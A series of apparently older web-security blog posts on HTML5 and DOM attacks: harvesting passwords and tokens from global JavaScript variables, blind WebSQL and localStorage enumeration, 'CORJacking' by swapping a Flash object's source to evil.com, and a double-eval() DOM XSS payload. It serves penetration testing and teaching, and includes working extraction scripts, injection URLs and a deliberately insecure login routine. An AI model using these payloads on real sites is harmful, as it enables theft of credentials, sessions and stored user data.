Password extraction from Ajax/DOM/HTML5 routine – Poor programming calls

Login Ajax routine is an interesting place to check for variable definition and assignments with respect to "single DOM application"/HTML5/Web2.0 framework. If variables are not created with proper scope then can be accessed as global and contain interesting information like username, password, tokens etc. Interestingly we need to do lot of JavaScript analysis with Web 2.0, Ajax, HTML5 and Single DOM applications.

For example, here is a routine for login. It can be buried in one of the JS files but gets loaded on DOM at the point of call and remain there throughout application life cycle.

function getLogin()

{

gb = gb+1;

var user = document.frmlogin.txtuser.value;

var pwd = document.frmlogin.txtpwd.value;

var xmlhttp=false;

        try  { 

         xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");

           // other code for XHR initialization

                         

        }

       

        temp = "login.do?user="+user+"&pwd="+pwd;

        xmlhttp.open("GET",temp,true);

        xmlhttp.onreadystatechange=function()

               {   

                // other code on state ready change                                          

                                       

               }      

        xmlhttp.send(null);

}

Here, temp variable is crafting URL and posting username and password for Ajax call. It can be part of POST if going through send(). “temp” variable is very loosely defined as global and can be accessed from the DOM.

It is easy to access those variables from DOM – Yes, need DOM based XSS but coding practice is poor over here. Payload to exploit the vulnerability…

for(i in window){

    obj=window[i];

     try{

            if(typeof(obj)=="string"){

                console.log(i);

                console.log(obj.toString());

            }

        }catch(ex){}

}

You will get “temp” variable with following value - login.do?user=foo&pwd=foobar.

Blind WebSQL and Storage extraction for HTML5 Apps

HTML5 is having two important data points – WebSQL and Storage. They are controlled by well defined RFCs and specifications. These APIs can be accessed using JavaScript. Assuming we get an entry into DOM then also we are completely blind with WebSQL table names and storage keys. Here is a way to enumerate that data during pen-testing and assessments.

Blind WebSQL Enumeration

We need following information to extract target content.

1.       Database object

2.       Table structure created on SQLite

3.       User table on which we need to run select query

Here is the script which can harvest database with zero knowledge

var dbo;

var table;

var usertable;

for(i in window){

                obj = window[i];

                try{

                                if(obj.constructor.name=="Database"){

                                                dbo = obj;

                                                                obj.transaction(function(tx){

                                                                tx.executeSql('SELECT name FROM sqlite_master WHERE type=\'table\'',[],function(tx,results){

                                                                                table=results;                                                                                                                                      

                                                                },null);

                                                });

                                }

                }catch(ex){}

}

if(table.rows.length>1)

                usertable=table.rows.item(1).name;

a.)    We will run through all objects and get object where constructor is “Database”

b.)    We will make Select query directly to sqlite_master database

c.)     We will grab 1^st table leaving webkit table on 0^th entry

We got the actual table name residing on WebSQL for this application, next we can run SQL query and loop through results.

We got the name of the table and now we can use same database object to run the query through script.

Hence, it can be part of payload during testing to fetch data remotely.

Blind Storage Enumeration

Storage enumeration is relatively easy, We can check for object length for local or session storage and if it is not zero run a loop and get all values. We can use following code for localStorage.

if(localStorage.length){

                console.log(localStorage.length)

                for(i in localStorage){

                                console.log(i)

                                console.log(localStorage.getItem(i));

                }

}

Here is the output for the call.

Global Sensitive Information Extraction from DOM – post DOM based XSS

DOM centered single page HTML5 and Web 2.0 applications are using GLOBAL variables to manage client side critical information. During consulting we have seen few applications managing client side session data on GLOBALS. These global objects are using JSON or Array. In some cases they are string as well.

For example,

Once user gets authenticated it gets a Script tag and along with an array like below to set global set of variables.

var arrayGlobals = ['my@email.com',"12141hewvsdr9321343423mjfdvint","test.com"];

In many cases it has sensitive information like tokens, public profile URLs, private URLs for information access, cross domain oAuth values, user/pass as temp variables etc. It has interesting set of information and it can be extracted in case of DOM based XSS. These DOM driven applications are single page and these set of values are accessible across application life cycle.

Here is an example of extracting JSON, Array and string from browser. It can be used as part of XSS testing and exploitation once it is found. It is interesting to add in XSS exploitation tools like BeeF. We are using it with node.js and customized payload for our routine test cases.

Below script will look for object and using JSON.stringfy for Firefox only else jquery plugin can help.

for(i in window){

    obj=window[i];

    if(obj!=null||obj!=undefined)

        var type = typeof(obj);

        if(type=="object"||type=="string")

        {

                console.log("Name:"+i)

                try{

                    my=JSON.stringify(obj);

                    console.log(my)

                }catch(ex){}  

         }

}

Just to fetch extracted values we are running in firebug and redirecting on console.

Really interesting stuff – check with your popular mailing and social networking sites.

Cross Origin Resource Jacking (CORJacking) - DOM based attack vector

CSRF and UI Redressing (Click/Tab/Event Jacking) attack vectors are popular ways to abuse cross domain HTTP calls and events. HTML5, Web 2.0 and RIA (Flash/Silverlight) applications are loaded in browser with native state or using plug-ins. DOM used to be an integral part of the browser and now it is becoming even more important aspect with reference to web applications. Web applications are using DOM in very complex and effective way to serve their client better and leveraging all possible features allowed by DOM specifications.

There are many applications run as single DOM app and once it gets loaded, it remains in scope across the application life cycle. CORS and SOP have to play critical role in protecting Cross Origin Resources and control relevant HTTP calls. HTML5 and RIA applications are having various different resources like Flash files, Silverligh, video, audio etc. These resources are loaded in their own little object space which is defined by specific tag. These resources are accessible by DOM and can be manipulated as well. If DOM is forced to change underlying resource on the fly and replaced by cross origin/domain resource then it causes Cross Origin Resource Jacking (CROJacking).

Example,

Let’s assume there are two domains – foobank.com and evil.com. Foobank application is having flash driven application and it has its own login swf (login.swf) file. This flash component is loaded via object in the browser. If by DOM call this login.swf file is replaced by similar file residing on evil.com then it will cause CORJacking and user would be under impression that he/she is using foobank.com resources. Also, reverse would be possible as well. Evil.com loads resources residing on Foobank.com domain and it will cause reverse CORJacking.

Here is a small DEMO of CORJacking with Flash resource.

Here is the object tag loading flash component

HTML page is loaded in the browser and this object which is coming from foobank.com domain is being loaded. Assuming this page has DOM based issue and possible to inject/manipulate this value. Hence, if we want to access src of this object tag then through DOM we get its access.

Interestingly document.getElementsByName(‘Login’).item(0).src is not just read only value, one can assign a cross origin resource to it on the fly.

Hence, below line will actually change the resource and loads login.swf file from evil.com domain.

document.getElementsByName(‘Login’).item(0).src = ‘http://evil.com/login.swf’

This will clearly hijack the resource and user will be under impression that it is negotiating with foobank’s login component but actual component is from evil domain. This is the case of CORJacking and reverse can be done as well. Evil domain can load Foobank component and causes reverse CORJacking.

Since browser is allowing these Cross Origin Resource access one needs to embed defense in similar way we are doing for ClickJacking. Before component being loaded, component should have sense of domain and disallow its execution on cross domain as far as reverse CORJacking is concern. For CORJacking one needs to lock object using JavaScript, controlling stream and avoid DOM based injection issues to stop CORJacking exploitation.

[Note – This type of loading is not restricted to one type of resource only, it is applicable to different types of resources and browser's ability to process cross origin resource loading. It is possible to create various different variants of these attack vector like flashjacking, silverlightjacking, mediajacking etc. inherited from UI redressing family - interesting area for research, will add a paper on it soon.]

Top 10 HTML5 Threats & Attack Vectors

Emerging as popular standard to create Rich Internet Applications and competing with technology stacks like Adobe’s Flex/Flash and Microsoft’s Silverlight is  HTML5[1]. HTML5 brings several new features and functionalities that allow developers to create really attractive and robust applications.  These applications can run on any browser and platform, although with some limitations. HTML5 applications are also supported by mobile devices. Hence, you can create your application once and run it on several devices and browsers. Each time, every new technology stack throws up new security challenges and vulnerabilities. HTML 5, though very promising, is no different. There are security concerns that need to be addressed when creating applications. Let us look at the top 10 possible attack vectors associated with HTML5 and modern browser architecture.

Read full article here (net-security.org)


Top 10 Attack Vectors

1.  ClickJacking & Phishing by mixing layers and iframe         

2.  CSRF and leveraging CORS to bypass SOP             

3.  Attacking WebSQL and client side SQL injection

4.  Stealing information from Storage and Global variables 

5.  HTML 5 tag abuse and XSS          

6.  HTML 5/DOM based XSS and redirects  

7.  DOM injections and Hijacking with HTML 5          

8.  Abusing thick client features      

9.  Using WebSockets for stealth attacks    

10.Abusing WebWorker functionality           

Browser Attack Surface and Layers

OWASP and Blackhat (Movie and Paper) - HTML5, XHR and DOM Security

Presented at OWASP AppSecUS 2011


Next Generation Web Attacks - HTML 5, DOM (L3) and XHR (L2) with Shreeraj Shah, Blueinfy Solutions Pvt. Ltd. from OWASP on Vimeo.


Paper presented at Blackhat USA 2011

Blackhat11 shreeraj reverse_engineering_browser

View more documents from Shreeraj Shah

Double eval() for DOM based XSS

DOM based XSS are becoming relatively common with Web 2.0 and Ajax driven applications. DOM based applications are using eval() method to inject new stream into the existing DOM. In certain cases it is becoming tricky to pass on the values for pen-testing and to create an abuse/exploit scenario. Recently during consulting we came across different DOM based XSS and objective is to get a pop-up to confirm the vulnerability. If we get an eval call then it is possible to double eval-ing to convert text back into payload.

Here is a simple scenario; it can be complicated on case to case basis.

For example, we have following line in the code

eval('getProduct('+ koko.toString()+')');

Here “koko” is coming from URL or controlled by user. Hence, if we pass on the value in following URL it gets to the “getProduct” function.

http://192.168.3.2/catalog.aspx?pid=3

Testing scenario is simple, it causes DOM based XSS with following condition.

http://192.168.3.2/catalog.aspx?pid=3’);//

We are passing payload terminating function, ending statement and commenting out rest of the script. We get a simple pop-up if we pass on following code.

http://192.168.3.2/catalog.aspx?pid=3’);alert(1)//

But to prove a point if we want to craft any other payload where we need to send single quote, for example want to execute “document.getElementsByName('Login')” will not work since we have that single quote that will raise syntax error. For simplicity if we pass on alert(‘hi’), it will not work and we will not get popup in above scenario.

http://192.168.3.2/catalog.aspx?pid=3’);alert(‘hi’)//

We get following error in the browser.

Error: syntax error

Source File: http://192.168.3.2/catalog.aspx?pid=3%27);elval(alert(%27hi%27));//

Line: 37, Column: 29

Source Code:

getProduct(3%27);elval(alert(%27hi%27));//)

Interestingly, we can leverage double eval() in this case, we pass on following payload and let’s see what happens…

http://192.168.3.2/catalog.aspx?pid=3’);eval(String.fromCharCode(97,108,101,114,116,40,39,104,105,39,41))//

It will avoid error and we will get a pop-up. What we did was simple, we used fromCharCode function and passed on decimal values for alert(‘hi’) here, first eval will convert it into string and second eval will execute the code. Hence, double eval can rescue while testing DOM based XSS.

Curiously I searched this trick on web if people are using it and came across this article - http://blogs.msdn.com/b/infopath/archive/2006/04/05/569338.aspx

Double eval() can be leveraged for string operations and concatenation.